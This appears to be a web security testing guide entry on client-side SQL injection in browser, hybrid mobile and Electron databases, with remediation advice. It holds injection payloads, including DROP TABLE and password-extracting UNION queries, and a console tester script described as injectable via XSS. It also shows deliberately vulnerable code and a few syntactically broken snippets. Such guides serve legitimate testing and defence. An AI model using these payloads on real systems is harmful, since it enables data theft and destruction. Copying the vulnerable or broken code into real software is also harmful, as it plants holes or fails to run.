Wstg Inpv 05.8

wstg-inpv-05.8

Test ID

WSTG-INPV-05.8

Test Name

Testing for Client-Side SQL Injection

High-Level Description

Client-side SQL injection targets local databases accessed via JavaScript, such as Web SQL Database (deprecated but still present), IndexedDB with SQL-like queries, or SQLite in mobile applications (Cordova, React Native). While less common than server-side SQLi, it can expose sensitive local data or enable privilege escalation in hybrid apps.

What to Check

• Web SQL Database usage
• SQLite in hybrid mobile apps
• IndexedDB query manipulation
• Local storage SQL parsing
• Electron app databases
• Browser extension databases

How to Test

Step 1: Identify Client-Side Databases

// Browser console - Check for Web SQL Database
if (window.openDatabase) {
  console.log("[*] Web SQL Database API available")

  // Try to access existing databases
  try {
    var db = openDatabase("test", "1.0", "Test", 2 * 1024 * 1024)
    console.log("[*] Web SQL Database accessible")
  } catch (e) {
    console.log("[-] Web SQL access error:", e)
  }
}

// Check for IndexedDB
if (window.indexedDB) {
  console.log("[*] IndexedDB available")

  // List databases
  indexedDB.databases().then((dbs) => {
    console.log("[*] Databases:", dbs)
  })
}

// Check for SQL.js or similar libraries
if (window.SQL) {
  console.log("[*] SQL.js library detected")
}

Step 2: Client-Side SQLi Tester

// Client-side SQL Injection Test Script
// Run in browser console or inject via XSS

;(function () {
  console.log("=== Client-Side SQL Injection Tester ===")

  // Test payloads
  const payloads = [
    "' OR '1'='1",
    "'; DROP TABLE users;--",
    "1 OR 1=1",
    "' UNION SELECT * FROM sqlite_master--",
    "' AND 1=0 UNION SELECT sql FROM sqlite_master--",
  ]

  // Find and test input fields that might interact with local DB
  const inputs = document.querySelectorAll('input[type="text"], input[type="search"]')

  inputs.forEach((input) => {
    // Check if input has event listeners
    const events = getEventListeners(input)

    if (events.input || events.change || events.keyup) {
      console.log(`[*] Potential DB input: ${input.name || input.id}`)

      // Try injecting payload
      payloads.forEach((payload) => {
        const originalValue = input.value
        input.value = payload

        // Trigger events
        input.dispatchEvent(new Event("input", { bubbles: true }))
        input.dispatchEvent(new Event("change", { bubbles: true }))

        // Restore
        input.value = originalValue
      })
    }
  })

  // Monitor Web SQL transactions
  if (window.openDatabase) {
    const originalOpenDatabase = window.openDatabase
    window.openDatabase = function (...args) {
      console.log("[MONITOR] openDatabase called:", args)
      const db = originalOpenDatabase.apply(this, args)

      // Wrap transaction method
      const originalTransaction = db.transaction
      db.transaction = function (callback, errorCallback, successCallback) {
        const wrappedCallback = function (tx) {
          // Wrap executeSql
          const originalExecuteSql = tx.executeSql
          tx.executeSql = function (sql, params, successCb, errorCb) {
            console.log("[SQL QUERY]:", sql)
            console.log("[SQL PARAMS]:", params)

            // Check for injection indicators
            if (sql.includes("'") && !params.length) {
              console.warn("[POTENTIAL SQLi] Unparameterized query with quotes")
            }

            return originalExecuteSql.apply(this, arguments)
          }
          callback(tx)
        }
        return originalTransaction.call(this, wrappedCallback, errorCallback, successCallback)
      }

      return db
    }
  }

  console.log("=== Monitoring active. Use the application normally. ===")
})()

Step 3: Web SQL Database Testing

// Web SQL Injection Test
// Vulnerable code pattern:
function searchUsers(query) {
  var db = openDatabase("myapp", "1.0", "My App", 5 * 1024 * 1024)

  db.transaction(function (tx) {
    // VULNERABLE - String concatenation
    tx.executeSql("SELECT * FROM users WHERE name LIKE '%" + query + "%'", [], function (tx, results) {
      displayResults(results)
    })
  })
}

// Test payloads:
// searchUsers("' OR '1'='1' --");
// searchUsers("' UNION SELECT password FROM users --");
// searchUsers("'; DROP TABLE users; --");

// Check for SQLite system tables
function extractSchema() {
  var db = openDatabase("myapp", "1.0", "My App", 5 * 1024 * 1024)

  db.transaction(function (tx) {
    // Extract table schema
    tx.executeSql("SELECT name, sql FROM sqlite_master WHERE type='table'", [], function (tx, results) {
      for (var i = 0; i < results.rows.length; i++) {
        console.log("Table:", results.rows.item(i).name)
        console.log("Schema:", results.rows.item(i).sql)
      }
    })
  })
}

Step 4: Hybrid Mobile App Testing

#!/usr/bin/env python3
"""
Client-Side SQLi Tester for Hybrid Mobile Apps
Tests Cordova/PhoneGap SQLite databases
"""

import subprocess
import os

class MobileClientSQLiTester:
    def __init__(self, app_path):
        self.app_path = app_path
        self.findings = []

    def decompile_apk(self):
        """Decompile Android APK to analyze JS code"""
        print("[*] Decompiling APK...")
        subprocess.run(['apktool', 'd', self.app_path, '-o', 'decompiled_app'])

    def find_sql_patterns(self):
        """Search for SQL patterns in JS files"""
        print("[*] Searching for SQL patterns...")

        vulnerable_patterns = [
            r'executeSql\s*\([^,]+\+',  # String concatenation
            r'executeSql\s*\(["`'].*\$\{',  # Template literal
            r'db\.run\s*\([^,]+\+',  # Better-sqlite3 pattern
            r'\.query\s*\(["`']SELECT.*\+',  # Query with concat
        ]

        js_files = []
        for root, dirs, files in os.walk('decompiled_app'):
            for file in files:
                if file.endswith('.js'):
                    js_files.append(os.path.join(root, file))

        for js_file in js_files:
            with open(js_file, 'r', errors='ignore') as f:
                content = f.read()

                for pattern in vulnerable_patterns:
                    import re
                    matches = re.findall(pattern, content)
                    if matches:
                        print(f"[VULN] Potential SQLi in {js_file}")
                        self.findings.append({
                            'file': js_file,
                            'pattern': pattern,
                            'severity': 'High'
                        })

    def generate_report(self):
        """Generate findings report"""
        print("\n=== CLIENT-SIDE SQLi ANALYSIS ===")
        if not self.findings:
            print("No client-side SQL injection patterns found.")
        else:
            for f in self.findings:
                print(f"\n[{f['severity']}] Vulnerable pattern in:")
                print(f"  File: {f['file']}")

# Usage
# tester = MobileClientSQLiTester("app.apk")
# tester.decompile_apk()
# tester.find_sql_patterns()

Step 5: Electron App Database Testing

// Electron App SQLite Testing
// Check for better-sqlite3 or sql.js usage

// Monitor require calls
const originalRequire = require
require = function (module) {
  if (module.includes("sqlite") || module.includes("sql")) {
    console.log("[*] SQL module loaded:", module)
  }
  return originalRequire(module)
}

// If better-sqlite3 is used
// Vulnerable pattern:
const db = require("better-sqlite3")("app.db")
const stmt = db.prepare(`SELECT * FROM users WHERE name = '${userInput}'`)

// Test payloads via IPC or exposed functions
// If functions are exposed to renderer:
window.api.searchUsers("' OR '1'='1")
window.api.searchUsers("' UNION SELECT password FROM users --")

Tools

Remediation

// SECURE - Web SQL with parameterized queries
function searchUsersSafe(query) {
  var db = openDatabase("myapp", "1.0", "My App", 5 * 1024 * 1024)

  db.transaction(function (tx) {
    // Use parameterized query
    tx.executeSql(
      "SELECT * FROM users WHERE name LIKE ?",
      ["%" + query + "%"], // Parameters passed separately
      function (tx, results) {
        displayResults(results)
      },
    )
  })
}

// SECURE - Better-sqlite3 with parameters
const db = require("better-sqlite3")("app.db")
const stmt = db.prepare("SELECT * FROM users WHERE name = ?")
const result = stmt.get(userInput)

// SECURE - SQL.js with parameters
const stmt = db.prepare("SELECT * FROM users WHERE id = $id")
stmt.bind({ $id: userId })

// Input validation for client-side queries
function sanitizeForLocalSQL(input) {
  // Basic sanitization (parameterized queries preferred)
  if (typeof input !== "string") {
    return ""
  }

  // Remove or escape dangerous characters
  return input.replace(/['";\\]/g, "")
}

Risk Assessment

CWE Categories

Checklist

[ ] Web SQL Database usage identified
[ ] Client-side JS analyzed for SQL patterns
[ ] Parameterized queries verified
[ ] Mobile app databases tested
[ ] Electron app databases tested
[ ] Findings documented